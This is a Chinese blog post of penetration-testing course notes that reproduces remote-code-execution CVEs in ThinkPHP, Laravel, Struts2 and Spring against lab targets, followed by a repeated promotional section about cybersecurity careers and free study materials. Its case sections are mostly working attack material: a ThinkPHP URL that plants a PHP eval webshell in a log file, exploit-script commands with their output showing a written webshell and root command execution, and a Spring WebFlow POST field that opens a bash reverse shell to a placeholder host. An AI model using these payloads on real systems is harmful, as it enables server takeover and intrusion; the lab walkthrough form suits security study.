【小迪安全2023】第62天-服务攻防-框架安全&CVE复现&Spring&Struts&Laravel&ThinkPHP

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

目录

0x1 大纲

0x2 知识点:

0x3 案例分析

1、PHP-开发框架安全-Thinkphp&Laravel

thinkphp3.2.x 代码执行

ThinkPHP5 5.0.23

laravel-cve_2021_3129

2、JAVAWEB-开发框架安全-Spring&Struts2

strust2 CVE-2020-17530

strust2 CVE_2021_31805

3、spring框架

spring 代码执行 (CVE-2017-4971)


0x1 大纲

0x2 知识点:

中间件及框架列表:

IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery等

1、开发框架-PHP-Laravel-Thinkphp

2、开发框架-Javaweb-St2-Spring

3、开发框架-Python-django-Flask

4、开发框架-Javascript-Node.js-JQuery

常见语言开发框架:
**PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
JAVA:Spring MyBatis Hibernate Struts2 Springboot等
Python:Django Flask Bottle Turbobars Tornado Web2py等
Javascript:Vue.js Node.js Bootstrap JQuery Angular等
 
#章节内容:
常见中间件的安全测试:
1、配置不当-解析&弱口令
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用-框架特定安全漏洞
 
#前置知识:
-中间件安全测试流程:
1、判断中间件信息-名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞
 
#应用服务安全测试流程:见图**
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等
 
#开发框架组件安全测试流程:
1、判断常见语言开发框架类型
2、判断开发框架存在的CVE问题
3、判断开发框架CVE漏洞利用方式
 
什么是框架:
框架是一个别人写好的成品,要实现什么功能就可以调用里面的内置函数来实现这个功能的操作。
 
一个网站的源码应用,比如:实现文件上传功能
1.源码采用框架开发的
完全依赖于框架自身的安全机制,安不安全完全取决于这个框架。
比较简单,方便。
 
2.源码采用原生态开发的
整个的文件上传功能都是自己写的,自己控制,自己过滤。
比较复杂,需要从0开始。

0x3 案例分析

1、PHP-开发框架安全-Thinkphp&Laravel

听课前,先给师傅们分享个非常好用。功能很齐全的一个图形化武器库(武器库太牛了,我都想请它吃饭了)

图形化渗透测试武器库 V6.1 by安全圈小王子:
链接:https://pan.baidu.com/s/1goi2IBZaJwRWe2qCLO37ig?pwd=bxsi
提取码:bxsi

thinkphp3.2.x 代码执行

我们这里直接使用thinkphp漏洞利用1.2版本的工具

靶场环境:Vulfocus 漏洞威胁分析平台

我们访问靶场,然后可以使用wappalyzer插件检测出来是ThinkPHP框架,也可以在网站数据包中找到ThinkPHP关键字

我们直接利用这个工具进行命令执行,然后访问下面的http地址,再右击查看源代码就可以找到flag,也就是命令执行的内容了

如何getshell

请求地址的时候会写入日志文件

http://123.58.224.8:41855//?m=Home&c=Index&a=index&value[_filename]=./<?php eval($_REQUEST['a']);?>

日志文件的地址

http://123.58.224.8:41855//?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/24_05_08.log

可以看到我们的木马文件写入成功了

然后再连接蚁剑即可

手工注入

参考文献:[【漏洞通报】ThinkPHP3.2.x RCE漏洞通报](https://mp.weixin.qq.com/s/_4IZe-
aZ_3O2PmdQrVbpdQ “【漏洞通报】ThinkPHP3.2.x RCE漏洞通报”)

ThinkPHP5 5.0.23

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

靶场环境搭建:

Vulhub - Docker-Compose file for vulnerability
environment

先切换到vulhub-master/thinkphp/5.0.23-rce目录下,然后输入:

┌──(root💀kali)-[~/桌面/vulhub-master/thinkphp/5.0.23-rce]
└─# docker-compose up -d

使用工具直接检测出来这个漏洞,然后命令执行

laravel-cve_2021_3129

描述:

Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。

Laravel开启了Debug模式时,由于Laravel自带的Ignition
组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

靶场环境:

Vulfocus
漏洞威胁分析平台

插件检测:

漏洞EXP如下:

[GitHub - ajisai-babu/CVE-2021-3129-exp: Laravel Debug mode
RCE漏洞(CVE-2021-3129)poc / exp](https://github.com/ajisai-
babu/CVE-2021-3129-exp “GitHub - ajisai-babu/CVE-2021-3129-exp: Laravel Debug
mode RCE漏洞(CVE-2021-3129)poc / exp”)

# poc
python CVE-2021-3129.py -u http://xxxxx.com 
[✅]检测到漏洞![🚩]url: http://xxxxx.com [❇️info]PHP版本:7.4.14 网站路径:/var/www/html 服务器地址:172.17.0.2 系统版本:Linux 8e172820ac78 4.4.0-142-generic #168~14.04.1-Ubunt6:28 UTC 2019 x86_64

# exp
python CVE-2021-3129.py -u http://xxxxx.com --exp                     
[✅]检测到漏洞![🚩]url: http://xxxxx.com [❇️info]PHP版本:7.4.14 网站路径:/var/www/html 服务器地址:172.17.0.2 系统版本:Linux 8e172820ac78 4.4.0-142-generic #168~14.04.1-Ubunt6:28 UTC 2019 x86_64 
[OK] 成功写入webshell, 访问地址 http://xxxxx.com/shell.php , 密码 whoami

# proxy
python CVE-2021-3129.py -u http://xxxxx.com/ -p socks5://127.0.0.1:7890
python CVE-2021-3129.py -u http://xxxxx.com/ --exp -p socks5://127.0.0.1:7890

这里直接演示利用这个exp写入webshell,然后getshell操作

2、JAVAWEB-开发框架安全-Spring&Struts2

strust2:是一个基于 MVC 设计模式的 Web 应用框架

靶场环境:

Vulfocus
漏洞威胁分析平台

如何判断用的是strust2,如果后缀是action

20年以前的漏洞都可以直接利用工具利用

用工具直接可以检测出来,然后命令执行成功,成功拿到了flag

strust2 CVE-2020-17530

靶场环境:

Vulfocus
漏洞威胁分析平台

执行脚本如下:

https://github.com/wuzuowei/CVE-2020-17530

┌──(root💀kali)-[~/桌面/CVE-2020-17530-main]
└─# python3 struts2-061-poc.py http://123.58.224.8:54127 "ls /tmp"                                                                                                     3 ?
+------------------------------------------------------------+
+   PoC: python struts2-061-poc.py http://1.1.1.1:8081 id    +
+                VER: Struts 2.0.0-2.5.25                    +
+------------------------------------------------------------+
+               S2-061 RCE && CVE-2020-17530                 +
+------------------------------------------------------------+
flag-{bmh4d63bd20-6555-463f-adff-c412e642d557}
hsperfdata_root

                                                                                                                                                                           
┌──(root💀kali)-[~/桌面/CVE-2020-17530-main]
└─# python2 S2-061-shell.py http://123.58.224.8:54127                                                                                                                  
Please input your listening ip:
10.10.10.128
Please input your listening port:
4444

strust2 CVE_2021_31805

脚本地址:

https://github.com/pyroxenites/s2-062

这里使用docker搭建的环境,开始使用vulfocus.cn上的靶场环境一直执行不了EXP

┌──(root💀kali)-[~/桌面/s2-062-main]
└─# python3 s2-062.py --url http://10.10.10.128:8080 --cmd whoami                                                                                                      
命令回显
root

                                                                                                                                                                           
┌──(root💀kali)-[~/桌面/s2-062-main]
└─# python3 s2-062.py --url http://10.10.10.128:8080 --cmd id                                                                                                         
命令回显
uid=0(root) gid=0(root) groups=0(root)

3、spring框架

spring本身漏洞不多,大部分漏洞都在他的一些分支上

spring 代码执行 (CVE-2017-4971)

漏洞环境:

Vulfocus
漏洞威胁分析平台

漏洞测试参考文档:

Vulhub - Docker-Compose file for vulnerability
environment

用官方给的账号密码登录进去

然后访问http://123.58.224.8:17210/hotels/1,预定id为1的 酒店

点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步,其实WebFlow就正式开始了):

再点击确认“Confirm”:

此时抓包,抓到一个POST数据包,我们向其中添加一个字段(也就是反弹shell的POC)

不过这里的csrf值需要修改(这里是你开始抓包默认的,都不一样)

_eventId_confirm=&_csrf=xxxxxxx&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/x.x.x.x/4444+0>%261")).start()=vulhub

题外话

初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:

2023届全国高校毕业生预计达到1158万人,就业形势严峻;

国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。

6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。

具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。

“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。

网络安全行业特点

1、就业薪资非常高,涨薪快 2022年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!

img

2、人才缺口大,就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
img

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

img

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

  • 25
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值